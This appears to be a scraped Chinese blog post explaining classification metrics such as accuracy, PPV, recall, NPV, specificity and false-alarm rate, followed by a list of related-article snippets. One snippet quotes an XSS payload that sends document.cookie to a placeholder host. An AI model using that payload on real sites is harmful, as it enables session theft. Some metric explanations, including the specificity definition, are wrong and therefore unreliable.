Several classification metrics for ML/DM methods.

主要解释下机器学习(或数据挖掘)中的几个度量指标。

1. 关于 "TN/TP/FN/FP"

在预测过程中,经常会出现这几个名词,先是解释下字面意思:

  • TN: True Negative (真负),被模型预测为负的样本,模型预测对了
  • TP: True Positive (真正),被模型预测为正的样本,模型预测对了
  • FN: False Negative (假负),被模型预测为负的样本,模型预测错了
  • FP: False Positive (假正),被模型预测为正的样本,模型预测错了

可以看出来,两个字母的后面一个字母(N or P ),是模型预测的结果,而第一个字母(T or N ) 代表的是这个结果的正确与否;下面用一个表格来表示一下:

Actual Class: X Actual Class: not X
Predicted Class: X TP FP
Predicted Class: not X FN TN

Table.1: BINARY CONFUSION MATRIX

从上面这个表格中也能比较直观地分辨这4个指标:横轴代表结果实际的情况,而纵轴代表了该例子被模型预测的情况。

2. 常用于二分类问题(监督学习)的度量指标

2.1 准确率 or 正确比例

Accuracy or Proportion Correct



计算方法:(TN + TP) / (TP + TN + FP + FN)

需要注意的是:当分类问题是平衡(blanced)的时候,准确率可以较好地反映模型的优劣程度,但不适用于数据集不平衡的时候。

例如:分类问题的数据集中本来就有97% 示例是属于X,只有另外3%不属于X,所有示例都被分类成X的时候,准确率仍然高达97%,但这没有任何意义。

2.2 PPV or 正预测值

PPV = Positive Predictive Value

计算方法:TP / ( TP + FP )

模型预测属于X的示例(instance)中,预测正确(真正属于X)的比例。

2.3 召回率 or TP Rate

Sensitivity(灵敏度) orRecall or True Positive Rate or Probability

计算方法: TP / (TP + FN)

真正属于X的示例中,成功预测为属于X(TP)的比例。

2.4 NPV or 错误预测正确率

NPV = Negative Predictive Value

计算方法:TN / (TN + FN)

模型预测不属于X的示例中,预测正确(TN)的比例;那个中文是我自己翻译的,凑活看吧。。。这个和PPV比较像。

2.5 TN Rate

Specificity or True Negative Rate

计算方法:TN / (TN + FP)

真正属于X的示例中,被预测成不属于X的示例所占的比例。(已经无力翻译成中文名称了。。。)

2.6 FP rate or FAR or Fall-out

FAR = 1-Specificity

计算方法:FP / (TN + FP)

真正不属于X的示例中,模型预测成属于X的(预测失败)示例所占的比例。

在分类问题中,在灵敏度FAR两者之间要保持一个平衡(折中)。这种折中要通过ROC曲线来表示,在Y轴上表示灵敏度,在X轴上表示FAR。 较高的FAR导致较高的灵敏度,较低的FAR导致较低的灵敏度。 通常,FAR不能高于某个数,这就是最终分类器的选择。

3. 多分类问题中的度量指标

  • Overall Accuracy:被正确分类的示例在数据集中的比例。
  • Class detection rate:来自给定类的例子正确地分类占来自给定类的所有样本得比例。
  • Class FAR or class FP rate:一个类别中分类错误(未被分到这个类)的示例占所有不是这个类的示例的比例。

在多分类问题中计算PPV和NPV是可行的,但是通常不这么做

reference

  1. Anna L. Buczak, Erhan Guven, "A Survey of Data Mining and Machine Learning Methods for Cyber Security Intrusion Detection", IEEE COMMUNICATIONS SURVEYS & TUTORIALS VOL. 18, NO. 2, SECOND QUARTER 2016

[Machine-Learning] 机器学习中的几个度量指标的更多相关文章

  1. Machine learning | 机器学习中的范数正则化

    目录 1. \(l_0\)范数和\(l_1\)范数 2. \(l_2\)范数 3. 核范数(nuclear norm) 参考文献 使用正则化有两大目标: 抑制过拟合: 将先验知识融入学习过程,比如稀疏 ...

  2. Portal:Machine learning机器学习:门户

    Machine learning Machine learning is a scientific discipline that explores the construction and stud ...

  3. [原创]Machine Learning/机器学习 文章合集

    转载请注明出处:https://www.codelast.com/ ➤ 用人话解释机器学习中的Logistic Regression(逻辑回归) ➤ 如何防止softmax函数上溢出(overflow ...

  4. machine learning----->Amazon Machine Learning机器学习平台

    参考资料: 1.如何使用Amazon Machine Learning平台构建你的机器学习预测模型 2.

  5. 【原】Coursera—Andrew Ng机器学习—课程笔记 Lecture 10—Advice for applying machine learning 机器学习应用建议

    Lecture 10—Advice for applying machine learning 10.1 如何调试一个机器学习算法? 有多种方案: 1.获得更多训练数据:2.尝试更少特征:3.尝试更多 ...

  6. Machine Learning:机器学习算法

    原文链接:https://riboseyim.github.io/2018/02/10/Machine-Learning-Algorithms/ 摘要 机器学习算法分类:监督学习.半监督学习.无监督学 ...

  7. Data Leakage in Machine Learning 机器学习训练中的数据泄漏

    refer to:  https://www.kaggle.com/dansbecker/data-leakage There are two main types of leakage: Leaky ...

  8. [Machine Learning] 机器学习常见算法分类汇总

    声明:本篇博文根据http://www.ctocio.com/hotnews/15919.html整理,原作者张萌,尊重原创. 机器学习无疑是当前数据分析领域的一个热点内容.很多人在平时的工作中都或多 ...

  9. 【Machine Learning·机器学习】决策树之ID3算法(Iterative Dichotomiser 3)

    目录 1.什么是决策树 2.如何构造一棵决策树? 2.1.基本方法 2.2.评价标准是什么/如何量化评价一个特征的好坏? 2.3.信息熵.信息增益的计算 2.4.决策树构建方法 3.算法总结 @ 1. ...

随机推荐

  1. xss如何加载远程js的一些tips

    在早期 , 对于xss我们是这样利用的 <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</ ...

  2. BizTalk开发系列(十六) XML命名空间

    BizTalk开发过程中如果有对XML进行开发操作,比如在自定义代码里操作XML消息或者在Mapping的时候使用Xpath对XML进行操 作.则有机会遇到XML命名空间的问题.常见的是使用Xpath ...

  3. Cookie案例-显示商品浏览历史纪录

    package cn.itcast.cookie; import java.io.IOException; import java.io.PrintWriter; import java.util.D ...

  4. dom4j解析xml文档(增删改查)

    package itcast.dom4j; import java.io.File; import java.io.FileOutputStream; import java.io.FileWrite ...

  5. 代码规范[iOS]

    一.文件系统 二.代码结构 三.常量  宏 四.布局方式  数据持久化 五.网络 六.类目.延展 七.内存.线程 八.其他 九.版本控制.上线相关 十.附录1(公共库) 十一.附录2(公共类目) 十二 ...

  6. 关于JavaScript的判断语句(1)

    if语句: if( 判断条件 ){ 判断结果为true执行语句: } if...else语句: if(判断条件){ 判断结果为true时执行的语句: }else{ 判断结果为false时执行语句: } ...

  7. Swift声明参考

    一条声明可以在你的程序里引入新的名字和构造.举例来说,你可以使用声明来引入函数和方法,变量和常量,或者来定义 新的命名好的枚举,结构,类和协议类型.你也可以使用一条声明来延长一个已经存在的命名好的类型 ...

  8. JDBC操作

    String sql = "SELECT * from lib where name = ?";List<Lib> list = getJdbcTemplate().q ...

  9. Markdown资源 markd

    markdown是将某些格式的文本,翻译成HTML的一个库,非常精妙! https://www.npmjs.com/package/markedhttps://github.com/adam-p/ma ...

  10. 问题 “No mapping found for HTTP request with URI [/rbiz4/uploadFile.html]” 的解决

    从以前的SpringMVC项目简化一下做个例子,结果出现了下面的错误: No mapping found for HTTP request with URI [/rbiz4/uploadFile.ht ...